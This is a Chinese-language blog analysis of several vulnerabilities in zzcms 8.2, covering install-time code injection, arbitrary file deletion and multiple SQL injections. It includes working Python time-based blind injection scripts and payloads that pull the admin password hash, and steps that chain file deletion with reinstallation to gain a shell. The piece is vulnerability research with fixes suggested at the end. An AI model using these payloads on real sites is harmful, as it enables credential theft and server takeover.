看了一下最近的cve列表,发现有大佬怒刷了好多个cve,这个zzcms都快被审穿了,所以跟进学习一下

CMS背景

本文跟踪的这个cms,属于一个开源招商网站管理系统,属于比较小的cms,所以很多地方写的不是很完善,导致了漏洞的产生,项目官网为 http://www.zzcms.net/ ,本次我跟进的版本为8.2。

CVE-2018-8966

首先,这是一个在安装的时候的代码注入,如果不配合其他漏洞删除安装后产生的锁文件 install.lock ,这个漏洞在实际环境中将毫无作用。

下面我们来具体分析一下漏洞产生的原因:

系统在安装的过程中,对输入的变量并没有任何过滤就写入了文件,所以我们只要闭合有关代码,然后注入命令就可以拿到shell。

下面开始复现:

复现成功,同理,这里既然能插入 php 代码,那也可以插入一端 javascript 代码,造成存储型xss,具体流程不在分析。

CVE-2018-8967

这是一个前台的sql注入,可以获取管理员密码的账号密码,问题出在了 /user/adv2.php 下面我们分析一下代码:

这里整个cms还是对传入的cms进行了过滤的,过滤代码在/inc/stopsqlin.php,但是在这个地方,是没有对sql变量用引号包裹,所以不用单引号也可以直接进行sql注入。

但是这个地方想要注入,前面需要满足一定的条件,见下图

至少要让这两个数据出来的值有一个是1,否则将不会进入注入的代码。

这里的坑点比较多,简单讲下吧,有一个知识点:

select * from zzcms_ad where id =1 or sleep(4);

按照常理这个会延时,但是如果表中是空的,那这个将不会有任何延时

所以我们在注入的时候,要保证表中有数据,才能正常延时盲注的

所以这里要利用这个盲注,需要满足的条件有:

注册为企业用户,并且通过审核

发布广告,报账zzcms_main中,有一条记录

整个网站的广告表zzcms_add中需要至少有一条数据

当上面的条件都满足的时候,就可以进行注入了,下面贴一下paylaod:

import requests

import string

s = requests.session()

url = "http://127.0.0.1:8000/user/adv2.php?action=modify"

cookies = {

'UserName':'test1',#换成你注册的企业用户的用户名

}

flag = ''

for i in range(1,40):

for j in range(33,125):

data = {

'id':'0 or if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(3),0)'.format(i,j)}

try:

r = s.post(url,data=data,cookies=cookies,timeout=1)

except:

flag += chr(j)

print flag

break

print flag

实际测试截图:

CVE-2018-8965

这是一个任意文件删除漏洞,危害还是很大的,配合上面的安装过程中的getshell,还是可以有很大的攻击面 出问题的代码在:

/user/ppsave.php

可以发现并没有什么验证,只是判断了一下是不是和之前的或者默认的一样,然后只要文件存在,就使用了 unlink 删除了文件.

所以这个漏洞分析和利用都很简单

我们删除了安装的锁文件

/install/install.lock

然后就可以重新安装zzcms,从而配合上文分析的漏洞获取shell。

CVE-2018-9309

又是一枚sql注入漏洞,不过这个也是一个需要登陆,需要设置相关信息才能利用的漏洞。属于设计不当。

首先我们看一下出问题的核心代码:

if (!empty($_POST["sql"])){//从模板中获取SQL内容,为发送对像

$_SESSION['sql']=stripfxg($_POST["sql"]);

}

$sql=$_SESSION['sql'];

$sql2=$sql." order by id asc limit $n,$size";

$rs=query($sql2);

$row=num_rows($rs);

可以发现这里将post参数中的sql进行了解码放进了session中,而 stripfxg 函数代码如下:

function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜杠

$string=stripslashes($string);//去反斜杠,不开get_magic_quotes_gpc 的情况下,在stopsqlin中都加上了,这里要去了

if ($htmlspecialchars_decode==true){

$string=htmlspecialchars_decode($string);//转 html 实体符号

}

if ($nl2br==true){

$string=nl2br($string);

}

return $string;

}

可以发现并不是什么过滤,所以这里直接拼接进入sql中是及其危险的,后面还有一些没有申请cve的漏洞也是因为调用了这个函数,导致了过滤失效。

代码利用也是比较简单的:

127.0.0.1/dl/dl_sendmail.php

post数据为:

sql=select email from zzcms_dl where id=-1 union select group_concat(table_name) from information_schema.columns where table_schema=database()#

下面是执行结果:

CVE-2018-9331

有一枚任意文件删除漏洞,不得不说这个系统在这个的判断上真的是很有问题 这次产生问题的文件在

/user/adv.php

也是一个 oldimg 和 img 对比产生的问题

和上面分析类似,都是只判断了是否和原来的相同,然后拼接了 ../ 就直接调用 unlink ,所以利用也很简单

只需要将html中表单属性的hidden删掉,然后直接输入想要删除的文件名就可以啦

没有申请cve的漏洞

有几个sql注入比较严重,下面逐个分析一下

No.1 getip()未过滤

出问题的代码在 /user/check.php 中

在检查用户登录的位置,发现会调用 getip() 这个函数,我们跟进看一下:

发现并没有过滤,可以直接注入xff头,来进行注入,注入脚本如下:

import requests

import string

s = requests.session()

url = "http://219.219.61.234:8000/user/adv.php"//只要include了check.php都可以

cookies = {

'UserName':'test1',

'PassWord':'21232f297a57a5a743894a0e4a801fc3'

}

flag = ''

for i in range(1,40):

print i

for j in range(33,125):

head = {

'X-Forwarded-For':"1' where username = 'test1' and if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(10),0)#".format(i,j)}

try:

r = s.post(url,headers=head,cookies=cookies,timeout=9)

except:

flag += chr(j)

print flag

break

print flag

测试截图为:

No.2 del.php未过滤

第二个注入产生的根源还是过滤的不够严格,全局的注入过滤,在没有引号的地方可以随意注入,出问题的代码在

/user/del.php

不过这个注入有一个前提,我们需要先发布一个咨询信息,然后管理员审核过以后,就可以利用来注入了,这个在实际场景中,还是可以实现的。

可以看到,直接将tablename拼接进入了sql语句中,所以利用起来难度也不是很大,但是这里并没有回显,所以需要使用时间盲注,或者dns log外带的方法来获取数据。

No.3 stripfxg过滤不完整

在整个系统中,还有个函数是非常危险的,他可以将全局过滤还原成正常的数据,如果这个数据带入了sql查询中,是可以直接造成注入的。

代码逻辑:

所以这里的利用也是比较简单的:

POST /user/msg.php?action=savedata&saveas=add

参数为:

info_content=123' ^ sleep(5))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A

这里有一个注入的小技巧,就是在做insert注入和update注入的时候,除了能够多伪造一组数据以外,还可以使用这种异或符号加上sleep函数来延时注入

insert into user (content)VALUES('1' ^ if(1=1,sleep(5),0)#

验证截图:

总结

系统存在的问题:

系统在实现逻辑的过程中,存在了太多了没有过滤直接带入逻辑的情况,这在很多大的框架中是不存在的,建议可以自己封装一层,在封装层中间实现好过滤,用起来也很方便

系统对用户文件的存储删除有很大问题,很多在删除用户文件的时候,并没有检查是不是合法,就直接unlink了,这可以导致很大的问题。

系统在很多地方很轻易的就将自己的过滤去掉了,核心就是那个stripfxg函数,建议减少这个函数的使用,保证所有变量都经过了过滤。

stripfxg php,zzcms v8.2 中的众多cve分析相关推荐

  1. 浅谈V8引擎中的垃圾回收机制

    浅谈V8引擎中的垃圾回收机制 这篇文章的所有内容均来自 朴灵的<深入浅出Node.js>及A tour of V8:Garbage Collection,后者还有中文翻译版V8 之旅: 垃 ...

  2. V8引擎中的Hidden Class

    原作者:江凌 原文链接 Hidden Class 是为了实现对象属性的快速存取. JavaScript是一种动态编程语言:属性可进行动态的添加和删除,这意味着一个对象的属性是可变的,大多数的JavaS ...

  3. V8系统中不同权限的用户有不同的图标功能

    V8系统中不同权限的用户有不同的图标功能 标签(空格分隔): v8 权限 在V8系统中,如果有一个表格,一种用户可以删除记录,另一种用户则没有删除权限,那么这个删除的图标就不应该显示的.如图所示: d ...

  4. 在SDLC中使用静态代码分析的最佳实践

    http://vultrace.cn更多精彩,尽在个人博客. 文章翻译自ncc group的论文,论文超长预警,请耐心观看. Best Practices for the use of Static ...

  5. ctf 文件头crc错误_[CTF隐写]png中CRC检验错误的分析

    [CTF隐写]png中CRC检验错误的分析 最近接连碰到了3道关于png中CRC检验错误的隐写题,查阅了相关资料后学到了不少姿势,在这里做一个总结 题目来源: bugku-MISC-隐写2 bugku ...

  6. GPUImage滤镜中的shader代码分析,及自定义滤镜

    from: http://blog.csdn.net/vegerjiangsir/article/details/27172143 GPUImage由于使用GPU,顾其在滤镜染色的时候真正使用的是Op ...

  7. [转]关于形如--error LNK2005: xxx 已经在 msvcrtd.lib ( MSVCR90D.dll ) 中定义--的问题分析解决...

    关于形如--error LNK2005: xxx 已经在 msvcrtd.lib ( MSVCR90D.dll ) 中定义--的问题分析解决 转自:http://hi.baidu.com/qinfen ...

  8. Android开发中StackOverflowError错误实例分析

    http://blog.csdn.net/mozhizun/article/details/7051300 http://blog.csdn.net/gaomatrix/article/details ...

  9. HBase建表高级属性,hbase应用案例看行键设计,HBase和mapreduce结合,从Hbase中读取数据、分析,写入hdfs,从hdfs中读取数据写入Hbase,协处理器和二级索引

    1. Hbase高级应用 1.1建表高级属性 下面几个shell 命令在hbase操作中可以起到很到的作用,且主要体现在建表的过程中,看下面几个create 属性 1. BLOOMFILTER 默认是 ...

最新文章

  1. 开课吧python学费-安利一个特别棒的工具给大家
  2. Autodesk MotionBuilder 2020中文版
  3. 【PC工具】更新win10关闭更新工具及注意事项
  4. IOS基础之毛毛虫案例-重力
  5. C++编译时多态和运行时多态
  6. 在linux系统下安装jdk
  7. leetcode题库1277-- 统计全为 1 的正方形子矩阵
  8. 自动画线指柡(主图)
  9. 【预测模型】基于matlab GUI BP神经网络+最小二乘法预测模型【含Matlab源码 208期】
  10. php 和 java_Java和php怎么选择??
  11. PHP在线教育直播平台源码 网课小程序源码 在线学习系统源码(PC+小程序+H5 )
  12. python开根号_python开根号_python 开根号_python开根号函数 - 云+社区 - 腾讯云
  13. Windows——重建 MBR(Master Boot Record)
  14. 冬季冷色调效果Lr预设
  15. Creo二次开发 Creo4.0 Qt5 动态部署发布
  16. ZwSe2团队共识V0.1
  17. 中专计算机的听课记录,计算机听课记录.doc
  18. Chevereto图片托管php源码_Chevereto图片托管 3.10.13|图片动画|PHP源码
  19. windows设置某应用开机自启
  20. C#中服务器端以太网通讯(一对一)

热门文章

  1. java程序cpu突然飚高_Java 定位导致CPU飙升的代码过程
  2. python pymysql_python使用pymysql实现操作mysql
  3. fox pro删除单条数据_Mac文件夹数据同步工具——Sync Folders Pro
  4. 华硕主板专用Ghost Win11 64位专业体验版 V2021.08
  5. 浏览器的安全设置在哪里?要如何设置
  6. 华硕台式机重装系统教程方法
  7. Windows平台RTMP多实例推送探讨
  8. Java非对称加密KeyPairGenerator类
  9. 为什么要重写hashCode()方法和equals()方法以及如何进行重写
  10. 【Java深入理解】String str = “a“ + “b“ + “c“到底创建了几个对象?